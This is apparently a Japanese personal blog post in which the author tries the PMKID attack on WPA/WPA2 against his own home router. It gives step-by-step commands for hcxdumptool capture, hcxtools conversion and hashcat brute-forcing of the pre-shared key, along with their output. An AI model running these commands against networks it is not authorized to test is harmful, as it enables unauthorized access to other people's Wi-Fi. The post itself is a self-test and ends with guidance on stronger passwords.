PMKIDを使用したWPA/WPA2に対する新しい攻撃を試してみた
1. 目的
8月初旬に、PMKIDを使用してWPA/WPA2のPSK(Pre-Shared Key)をクラックする手法が公開されました。
ローミング機能が有効になっている機器が対象とのことで、
を動機に試してみました。
以下、参考サイトです。
一次情報であるhashcatのフォーラムのスレッド
New attack on WPA/WPA2 using PMKID
The Hacker Newsの記事
How to Hack WiFi Password Easily Using New Attack On WPA/WPA2
日本語の解説記事
PMKIDを悪用するWiFiハッキング手法を発見。 - 忙しい人のためのサイバーセキュリティニュース
2. 検証環境
以下の環境で検証しました。
2.1. 無線LANルーター
Huawei HG8045Dを使用しました。
自宅のインターネット回線はNURO光を使用しており、無料でレンタルしているONU(光回線終端装置)兼ルーターです。
2.2. 無線LANアダプタ
Buffalo WLI-UC-G301Nを使用しました。
WLI-UC-G301N 〈エアステーション エヌフィニティ〉 11n対応 11g/b USB2.0用 無線子機 : Wi-Fiアダプター | バッファロー
モニターモードに対応している無線LANアダプタのうち、WLI-UC-G301NはAmazonでも家電量販店でも売られており、入手しやすく安価のため、おすすめです。
また、使用するキャプチャツールのhcxdumptoolは、Ralink RT3070のチップセットをサポートしていると明記されています。
GitHub - ZerBea/hcxdumptool: Small tool to capture packets from wlan devices.
WLI-UC-G301NはチップセットにRalink RT3072を使用しているとのことです。Ralink RT3070と末尾が違いますが、おそらくマイナーチェンジでしょう。
https://wikidevi.com/wiki/Buffalo_WLI-UC-G301N
2.3. PC・OS
キャプチャは、VirtualBox上のKali Linuxで実施しました。なお、USB接続の無線LANアダプタを認識させるため、VirtualBox extension packのインストールが必要です。
クラックは、ホストPCのWindows10で実施、GPUにGeforce GTX 1050Tiを搭載しています。
3. 準備
3.1. hcxdumptoolのインストール
キャプチャツールであるhcxdumptoolをインストールします。
GitHub - ZerBea/hcxdumptool: Small tool to capture packets from wlan devices.
# githubから最新ソース取得 root@kali:~# git clone https://github.com/ZerBea/hcxdumptool.git Cloning into 'hcxdumptool'... remote: Counting objects: 455, done. remote: Compressing objects: 100% (108/108), done. remote: Total 455 (delta 102), reused 88 (delta 45), pack-reused 302 Receiving objects: 100% (455/455), 176.36 KiB | 817.00 KiB/s, done. Resolving deltas: 100% (276/276), done. root@kali:~# cd hcxdumptool/ # ビルド root@kali:~/hcxdumptool# make cc -O3 -Wall -Wextra -std=gnu99 -o hcxdumptool hcxdumptool.c -lpthread # インストール root@kali:~/hcxdumptool# make install cc -O3 -Wall -Wextra -std=gnu99 -o hcxdumptool hcxdumptool.c -lpthread install -m 0755 -D hcxdumptool /usr/local/bin/hcxdumptool rm -f hcxdumptool rm -f *.o *~
3.2. hcxtoolsのインストール
pcapファイルからhashcatが扱うことができるファイルに変換するツールであるhcxtoolsをインストールします。
GitHub - ZerBea/hcxtools: Portable solution for capturing wlan traffic and conversion to hashcat formats (recommended by hashcat) and to John the Ripper formats. hcx: h = hash, c = capture, convert and calculate candidates, x = different hashtypes
# 依存ライブラリのインストール root@kali:~# apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev # githubから最新ソース取得 root@kali:~# git clone https://github.com/ZerBea/hcxtools.git Cloning into 'hcxtools'... remote: Counting objects: 3575, done. remote: Compressing objects: 100% (13/13), done. remote: Total 3575 (delta 8), reused 14 (delta 6), pack-reused 3556 Receiving objects: 100% (3575/3575), 1.05 MiB | 1.70 MiB/s, done. Resolving deltas: 100% (2498/2498), done. root@kali:~# cd hcxtools/ # ビルド root@kali:~/hcxtools# make mkdir -p .deps cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxpcaptool.d -o hcxpcaptool hcxpcaptool.c -lz -lcrypto cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxhashcattool.d -o hcxhashcattool hcxhashcattool.c -lcrypto -lpthread cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhc2hcx.d -o wlanhc2hcx wlanhc2hcx.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanwkp2hcx.d -o wlanwkp2hcx wlanwkp2hcx.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcxinfo.d -o wlanhcxinfo wlanhcxinfo.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2cap.d -o wlanhcx2cap wlanhcx2cap.c -lpcap cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2essid.d -o wlanhcx2essid wlanhcx2essid.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2ssid.d -o wlanhcx2ssid wlanhcx2ssid.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcxmnc.d -o wlanhcxmnc wlanhcxmnc.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhashhcx.d -o wlanhashhcx wlanhashhcx.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcxcat.d -o wlanhcxcat wlanhcxcat.c -lcrypto cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanpmk2hcx.d -o wlanpmk2hcx wlanpmk2hcx.c -lcrypto cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanjohn2hcx.d -o wlanjohn2hcx wlanjohn2hcx.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlancow2hcxpmk.d -o wlancow2hcxpmk wlancow2hcxpmk.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/whoismac.d -o whoismac whoismac.c -lcurl cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2john.d -o wlanhcx2john wlanhcx2john.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2psk.d -o wlanhcx2psk wlanhcx2psk.c -lcrypto cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlancap2wpasec.d -o wlancap2wpasec wlancap2wpasec.c -lcurl # インストール root@kali:~/hcxtools# make install install -m 0755 -D hcxpcaptool /usr/local/bin/hcxpcaptool install -m 0755 -D hcxhashcattool /usr/local/bin/hcxhashcattool install -m 0755 -D wlanhc2hcx /usr/local/bin/wlanhc2hcx install -m 0755 -D wlanwkp2hcx /usr/local/bin/wlanwkp2hcx install -m 0755 -D wlanhcxinfo /usr/local/bin/wlanhcxinfo install -m 0755 -D wlanhcx2cap /usr/local/bin/wlanhcx2cap install -m 0755 -D wlanhcx2essid /usr/local/bin/wlanhcx2essid install -m 0755 -D wlanhcx2ssid /usr/local/bin/wlanhcx2ssid install -m 0755 -D wlanhcxmnc /usr/local/bin/wlanhcxmnc install -m 0755 -D wlanhashhcx /usr/local/bin/wlanhashhcx install -m 0755 -D wlanhcxcat /usr/local/bin/wlanhcxcat install -m 0755 -D wlanpmk2hcx /usr/local/bin/wlanpmk2hcx install -m 0755 -D wlanjohn2hcx /usr/local/bin/wlanjohn2hcx install -m 0755 -D wlancow2hcxpmk /usr/local/bin/wlancow2hcxpmk install -m 0755 -D whoismac /usr/local/bin/whoismac install -m 0755 -D wlanhcx2john /usr/local/bin/wlanhcx2john install -m 0755 -D wlanhcx2psk /usr/local/bin/wlanhcx2psk install -m 0755 -D wlancap2wpasec /usr/local/bin/wlancap2wpasec
3.3. hashcatのインストール
パスワードクラックのツールであるhashcatをインストールします。
hashcat - advanced password recovery
こちらのDownloadリンクからバイナリをダウンロードして解凍します。
3.4. 無線LANアダプタ接続
無線LANアダプタをホストPCにUSB接続した後、VirtualBoxの右下のUSBアイコンを右クリックし、Ralink 802.11 n WLANを選択します。

3.5. モニターモード切り替え
無線LANアダプタをモニターモードに切り替えます。
# 無線LANアダプタを認識しているか確認
# wlan0として認識していることを確認
root@kali:~# iwconfig
eth0 no wireless extensions.
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short long limit:2 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
lo no wireless extensions.
# 無線LANアダプタを使用しているプロセスを停止
root@kali:~# airmon-ng check kill
Killing these processes:
PID Name
514 dhclient
723 wpa_supplicant
# モニターモードに切り替え
root@kali:~# airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 rt2800usb BUFFALO INC. (formerly MelCo., Inc.) WLI-UC-G301N Wireless LAN Adapter [Ralink RT3072]
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
# モニターモードに切り替わったことを確認
# wlan0がwlan0monになり、Mode:Monitorになっていることを確認
root@kali:~# iwconfig
eth0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short long limit:2 RTS thr:off Fragment thr:off
Power Management:off
lo no wireless extensions.
4. 攻撃実行
4.1. 攻撃対象のアクセスポイント確認
誤って隣人を攻撃しないようにするためと、対象を絞ることでキャプチャ時間を短縮するため、攻撃対象の自宅ルーターのチャンネルとMACアドレスを確認します。
airodump-ng wlan0mon
を実行します。

BSSID列でMACアドレスが68:8F:84:XX:XX:XX、CH列で使用チャンネルが2であることを確認できました。
なお、うまく表示されない場合は、無線LANアダプタをUSBから抜き差しして、3.5の手順をやり直すとうまくいくかもしれません。
MACアドレスを元に、キャプチャ時のフィルタ用のファイルを作成します。
echo "688F84XXXXXX" > filter.txt
4.2. キャプチャ実行
以下のコマンドでキャプチャを開始します。
hcxdumptool -o test.pcapng -i wlan0mon --filterlist=filter.txt --filtermode=2 --enable_status=1 -c 2
| オプション | 説明 |
|---|---|
| -o | 出力ファイル名。適当にtest.pcapngをセット。 |
| -i | 使用するネットワークインターフェース。wlan0monをセット。 |
| --filterlist | 対象とするMACアドレスのリスト。4.1で作成したfilter.txtをセット。 |
| --filtermode | フィルターモード。対象機器を指定するモードである2をセット。 |
| --enable_status | 表示するステータスメッセージ。EAPOLのみ表示するため1をセット。 |
| -c | 対象チャンネル。4.1で確認した2をセット。 |
しかし、実行後しばらく待ちますが、PMKIDを拾いません。

やむなく、クライアントレス攻撃にはならないですが、試しにスマホからWifi接続してみたところ、PMKIDを拾いました!145f94XXXXXXはスマホのMACアドレスです。

なお、クライアントレス攻撃が成功した場合は、[FOUND PMKID CLIENT-LESS]と表示されるようです。
4.3. ファイル変換
test.pcapngのキャプチャファイルからhashcat用のファイルに変換します。
root@kali:~# hcxpcaptool -z test.16800 test.pcapng
start reading from test.pcapng
summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.15.0-kali2-amd64
file application information.: hcxdumptool 4.2.1
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 1117
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 9
probe requests...............: 4
probe responses..............: 8
association requests.........: 222
association responses........: 455
authentications (OPEN SYSTEM): 135
authentications (BROADCOM)...: 135
EAPOL packets................: 284
EAPOL PMKIDs.................: 1
best handshakes..............: 1 (ap-less: 0)
1 PMKID(s) written to test.16800
test.16800ファイルができました。
4.4. パスワードクラック
hashcatでパスワードクラックを行います。
hashcat64.exe -m 16800 -w 3 test.16800 -a 3 -1 ?l?d "?1?1?1?1?1?1?1?1"
| オプション | 説明 |
|---|---|
| -m | ハッシュモード。WPA-PMKID-PBKDF2を指す16800をセット。 |
| -w | パフォーマンスの指定。Highを指す3をセット。実行中、他のプログラムが遅くなることを体感するレベル。 |
| -a | アタックモード。ブルートフォースを意味する3をセット。 |
| -1 | カスタム文字セット。?1が「英小文字+数字」を指すように定義。 |
| ?1?1?1?1?1?1?1?1 | PSKが「英小文字+数字」×8文字を前提にブルートフォースする指定。 |
実行後、しばらくしてから状況を確認します。

Time.Estimated...: Thu Jun 06 01:57:07 2019 (284 days, 2 hours)
284 days, 2 hours
ファッ・・・それは無理。
ブルートフォースの対象文字数を減らして再実行したところ、6文字で5時間、5文字で8分の見積時間となりました。
自宅ルーターのPSKはわかっているため、少々ずるいですが、PSKが8文字、末尾がABC、残り5文字は「英小文字+数字」であることがわかっている前提で、ブルートフォースをかけました。コマンドは以下の通り。
hashcat64.exe -m 16800 -w 3 test.16800 -a 3 -1 ?l?d "?1?1?1?1?1ABC"

およそ6分でクラックに成功しました。
ぼかしていますが、赤枠内にPSKが表示されています。
5. まとめ
Huaweiの自宅ルーターに対するPSKのクラックが(多少いんちきしましたが)成功しました。
ただし、hashcatのフォーラムのスレッドにて、今回の手法の優位性の一つとしてあげられていた「クライアントレス攻撃」は成功しませんでした。(通常のクライアントがいなくても、アクセスポイントと攻撃者だけで成立する攻撃のこと。)
別途、アクセスポイントに接続しているクライアントが存在している必要がありました。ルーターの問題か、私の方法または環境の問題かは不明です。
私のPC環境では、GPUを使っていてもPSKが「英小文字+数字」×8文字だと1年弱かかりますが、性能のよいGPU、複数台連結したGPUまたは複数PCを使用すれば、8文字でもクラックは現実的になってきます。よって、文字数を増やす、記号を混ぜる等すれば、非現実的な見積時間になるのでしょう。 実際、「英小文字・英大文字・数字・記号」×8文字で試したところ、10年以上かかる見積になりました。
さて、今回、初めてWifiの実機のクラックを試してみました。
とりあえず、WLI-UC-G301Nがあれば、モニターモードで動かせるため、今後もWifi関係の攻撃手法が出てきた際に遊べそうです。おすすめ。
続きの記事です。 graneed.hatenablog.com